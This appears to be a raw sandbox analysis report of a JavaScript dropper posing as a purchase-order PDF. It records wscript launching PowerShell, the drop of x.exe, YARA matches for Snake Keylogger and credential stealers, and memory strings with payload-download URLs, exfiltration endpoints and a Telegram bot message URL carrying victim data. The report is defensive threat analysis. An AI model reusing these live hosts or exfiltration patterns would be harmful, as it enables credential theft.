Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 13 Mar 2025 09:22:34 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: x.exe, 0000000A.00000002.1435246368.0000000002C72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.3
Source: wscript.exe, 00000000.00000003.1371839650.0000026208450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.3/
Source: x.exe, 0000000A.00000002.1435246368.0000000002C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.3/dev/believe.exe
Source: x.exe, 0000000A.00000002.1435246368.0000000002C0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.3/dev/believe.exeP
Source: wscript.exe, 00000000.00000003.1228286443.000002620808E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1228238787.0000026208071000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1462936852.000002620808C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1464059045.0000026208447000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1377013226.0000026208118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.3/dev/believe.ps1
Source: wscript.exe, 00000000.00000003.1371839650.0000026208450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.3/dev/believe.ps1i
Source: wscript.exe, 00000000.00000003.1371839650.0000026208450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.65.144.3/dev/believe.ps1ro
Source: x.exe, 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: x.exe, 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: x.exe, 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: x.exe, 0000000B.00000002.2538337454.0000000002DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: x.exe, 0000000B.00000002.2538337454.0000000002DB9000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002D99000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: x.exe, 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DB9000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002D99000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: x.exe, 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: x.exe, 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: powershell.exe, 00000008.00000002.1435086451.000001DE1007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1435086451.000001DE1021D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1410607287.000001DE01B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: x.exe, 0000000B.00000002.2538337454.0000000002DB9000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002D99000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: powershell.exe, 00000008.00000002.1410607287.000001DE00001000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1435246368.0000000002C72000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: x.exe, 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01614000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 00000008.00000002.1410607287.000001DE00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: x.exe, 0000000B.00000002.2538337454.0000000002DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: x.exe, 0000000B.00000002.2538337454.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: x.exe, 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DC8000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: x.exe, 0000000B.00000002.2538337454.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: x.exe, 0000000B.00000002.2538337454.0000000002DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20a
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: x.exe, 0000000B.00000002.2538337454.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: x.exe, 0000000B.00000002.2538337454.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: x.exe, 0000000B.00000002.2538337454.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enh
Source: x.exe, 0000000B.00000002.2538337454.0000000002D57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: wscript.exe, 00000000.00000003.1371839650.0000026208450000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1464059045.0000026208447000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000008.00000002.1435086451.000001DE1007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1435086451.000001DE1021D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1410607287.000001DE01B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01614000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000008.00000002.1410607287.000001DE01614000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: x.exe, 0000000B.00000002.2538337454.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DB9000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002C3E000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002D99000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002CAE000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: x.exe, 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002C3E000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: x.exe, 0000000B.00000002.2538337454.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: x.exe, 0000000B.00000002.2538337454.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DB9000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002C68000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002D99000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002CAE000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: x.exe, 0000000B.00000002.2543408283.0000000003EBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: x.exe, 0000000B.00000002.2538337454.0000000002D8D000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002D7E000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002CF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: x.exe, 0000000B.00000002.2538337454.0000000002D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: x.exe, 0000000B.00000002.2538337454.0000000002D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/h
Source: x.exe, 0000000B.00000002.2538337454.0000000002D88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49742 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.x.exe.2c89c50.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.x.exe.2c85409.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.x.exe.2c85409.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.x.exe.2c89c50.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7912, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: x.exe PID: 8060, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR	Matched rule: Phoenix/404KeyLogger keylogger payload Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E90848	10_2_00E90848
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E97AE8	10_2_00E97AE8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E91DD0	10_2_00E91DD0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E98508	10_2_00E98508
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E99810	10_2_00E99810
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E97ADA	10_2_00E97ADA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E984F8	10_2_00E984F8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E995E8	10_2_00E995E8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E995D9	10_2_00E995D9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E997C4	10_2_00E997C4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECA088	11_2_00ECA088
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECC146	11_2_00ECC146
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECD278	11_2_00ECD278
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00EC5370	11_2_00EC5370
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECC738	11_2_00ECC738
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00EC29E0	11_2_00EC29E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00EC69A0	11_2_00EC69A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECE988	11_2_00ECE988
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECCA08	11_2_00ECCA08
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECCCD8	11_2_00ECCCD8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00EC3E09	11_2_00EC3E09
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00EC6FC8	11_2_00EC6FC8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECCFAA	11_2_00ECCFAA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECF960	11_2_00ECF960
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_00ECE97A	11_2_00ECE97A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06842A90	11_2_06842A90
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06849668	11_2_06849668
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06841FA8	11_2_06841FA8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06841850	11_2_06841850
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06849D38	11_2_06849D38
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06845148	11_2_06845148
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684DAC3	11_2_0684DAC3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684DAC8	11_2_0684DAC8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684D218	11_2_0684D218
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684D660	11_2_0684D660
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684D670	11_2_0684D670
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06841F9C	11_2_06841F9C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684E7CB	11_2_0684E7CB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684E7D0	11_2_0684E7D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684DF13	11_2_0684DF13
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684DF20	11_2_0684DF20
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06840B20	11_2_06840B20
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06840B30	11_2_06840B30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684E36B	11_2_0684E36B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684E378	11_2_0684E378
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684F080	11_2_0684F080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06848CC0	11_2_06848CC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684F4C8	11_2_0684F4C8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684F4D8	11_2_0684F4D8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06840007	11_2_06840007
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684EC18	11_2_0684EC18
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684EC28	11_2_0684EC28
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06840040	11_2_06840040
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_06841841	11_2_06841841
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684CDAF	11_2_0684CDAF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684CDC0	11_2_0684CDC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684F921	11_2_0684F921
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684F930	11_2_0684F930
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684513F	11_2_0684513F

Source: PO-2513203-PDF.js

Initial sample: Strings found which are bigger than 50

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
